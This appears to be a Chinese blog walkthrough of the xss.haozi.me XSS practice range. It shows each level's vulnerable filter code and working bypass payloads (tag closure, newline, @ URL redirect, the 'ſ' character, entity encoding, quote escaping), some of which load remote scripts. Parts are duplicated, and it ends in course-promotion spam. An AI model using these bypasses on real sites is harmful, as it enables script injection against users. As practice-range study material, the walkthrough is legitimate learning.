最新xss靶场、xss,34岁网络安全开发大叔感慨

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

当有**<123>时,就全部会被过滤掉,但是如果<123**就不会被过滤掉。

image-20230325162128236

image-20230325162144811

payload即为:<img src=“123” οnerrοr=“alert(1)”

0x08(使用换行绕过)

服务器源代码如下

正则表达式 /<\/?[^>]+>/gi 的含义如下:

  1. /<\/?[^>]+>/: 匹配 <> 之间的任意字符,其中 <\/? 匹配 < 或者 </[^>]+ 匹配一个或多个非 > 的字符,> 匹配 > 字符本身。这个正则表达式匹配 HTML 标签的开始和结束标记。
  2. /g: 表示全局匹配,即匹配到一个后继续匹配,直到没有匹配项。
  3. /i: 表示忽略大小写匹配。

因此,这个正则表达式可以匹配所有的 HTML 标签,包括开始标记和结束标记,例如 <p></p><img></img> 等等。将这个正则表达式传递给 replace() 方法,就可以将匹配到的 HTML 标签替换为空字符串,从而去掉 HTML 标签。

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
 ${src}
 </style>
  `
}

使用换行即可进行绕过

</style
>
<script>alert(1)</script>
<style>

0x09(输入最前面必须带上一段url)

这是服务器源代码:

意思就是说输入的内容必须以 https://www.segmentfault.com开头

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

payload如下

https://www.segmentfault.com"></script><script>alert(1)</script>//

先将前面的script闭合,然后再使用js代码实现弹框1,然后通过**//**将后面的script给注释掉。

image-20230326114612634

0x0A(URL重定向)

服务器源代码:

这段代码是一个JavaScript函数,它的名称是render。该函数接受一个字符串参数input,并根据该参数返回不同的结果。

函数内部定义了一个嵌套函数escapeHtml,该函数用于将字符串中的特殊字符进行转义,以便在HTML中显示。具体来说,该函数会将字符串中的&'"<>/替换为相应的HTML实体编码。

该函数的主要逻辑是检查输入的字符串是否是以https://www.segmentfault.com开头的URL。如果是,函数会将该URL插入到一个<script>标签的src属性中,并返回该标签的HTML字符串表示。如果输入的字符串不是以https://www.segmentfault.com开头的URL,则返回字符串"Invalid URL"。

总之,这段代码的作用是根据输入的字符串生成一个HTML字符串表示,其中如果输入的字符串是符合条件的URL,将生成一个包含该URL的<script>标签。

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
 .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

这段代码大概就是把很多能注入的关键词都给过滤了。

输入的内容最前面必须加上一段网址和上关一样。

所以使用上一关的闭合符将不管用了。

但是根据这个src看来,可以使用引入一段服务器上js代码。

可以使用@重定向来定向到js代码。在服务器中写入一段js代码,使用@重定向来导入js。

但是我不知道为什么一直不成功,所以根据使用官方给出的js代码,不使用自己服务器中的代码来导入js就可以。

payload:

https://www.segmentfault.com.haozi.me/j.js

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a1hmJrNg-1679873092880)(C:\Users\陈勇\AppData\Roaming\Typora\typora-user-images\image-20230326160646711.png)]

0x0B(大写绕过)

服务器源码

将所有输入的代码全给变成大写。

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

这是必须要知道

  1. HTML:不区分大小写
  2. JS:区分大小写

这是如果使用平常的****发现没有什么用。

image-20230326170420809

第一种方法:

这是就要使用到****这段代码就可以弹窗过关。

image-20230326170633031

第二种方法:

通过img标签,在onerror中加入alert代码的编码形式。

<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

0x0C(大写+script绕过)

服务器代码:

这段代码就是过滤了script字段,然后就是还和上关一样大写绕过。

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这段payload就使用和上关一样的就行img标签

0x0D

0x0E(使用 ſ 绕过)

这段代码大概就是说将所有用<开头的字母都进行了替换,让我们无法正常输入标签。

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这里需要使用一个xss特殊的绕过技巧,在html中ſ这个字符转换为s,所以我们通过使用这个字符绕过这里的过滤函数。

payload:

<ſcript src="https://xss.haozi.me/j.js"></script>

image-20230326202137179

0x0F

服务器源代码:

将一些注入语句,给转义了,并放在onerror中

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
 .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

但是转义对于JS来说作用不大,我们可以先将闭合,然后使用分号再在后面加上alert(1)语句即可。然后再把后面的给注释掉

payload

');alert(1)//

image-20230326205456466

0x10

服务器:

function render (input) {
  return `
<script>
 window.data = ${input}
</script>
  `
}

payload:

alert(1)

0x11

服务器源代码:

进入本关发现在过滤了许多字符的基础上还将,\n、\r等换行操作给过滤了。

所以我们可以先把前面函数闭合,虽然不能使用换行操作,但是我们可以使用或者将代码分隔开来,再把后面字符使用注释符注释就可以成功绕过了。

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
 .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
 var url = 'javascript:console.log("${s}")'
 var a = document.createElement('a')
 a.href = url
 document.body.appendChild(a)
 a.click()
</script>
`
}

payload

");alert(1) //

0x12

服务器:

本关本质其实和上一关一样,就是将"替换为\,防止闭合前面函数。
但是我们可以通过先输入\符号将\进行转义了,这样双引号就能成功闭合了。

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

payload

\");alert(1)//

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DPfuxnn1-1679873092882)(C:\Users\陈勇\AppData\Roaming\Typora\typora-user-images\image-20230326220145186.png)]

eJs(s)
return `

`
}


**payload**:

```javascript
");alert(1) //

0x12

服务器:

本关本质其实和上一关一样,就是将"替换为\,防止闭合前面函数。
但是我们可以通过先输入\符号将\进行转义了,这样双引号就能成功闭合了。

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

payload

\");alert(1)//




还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!


王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。


对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!


【完整版领取方式在文末!!】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值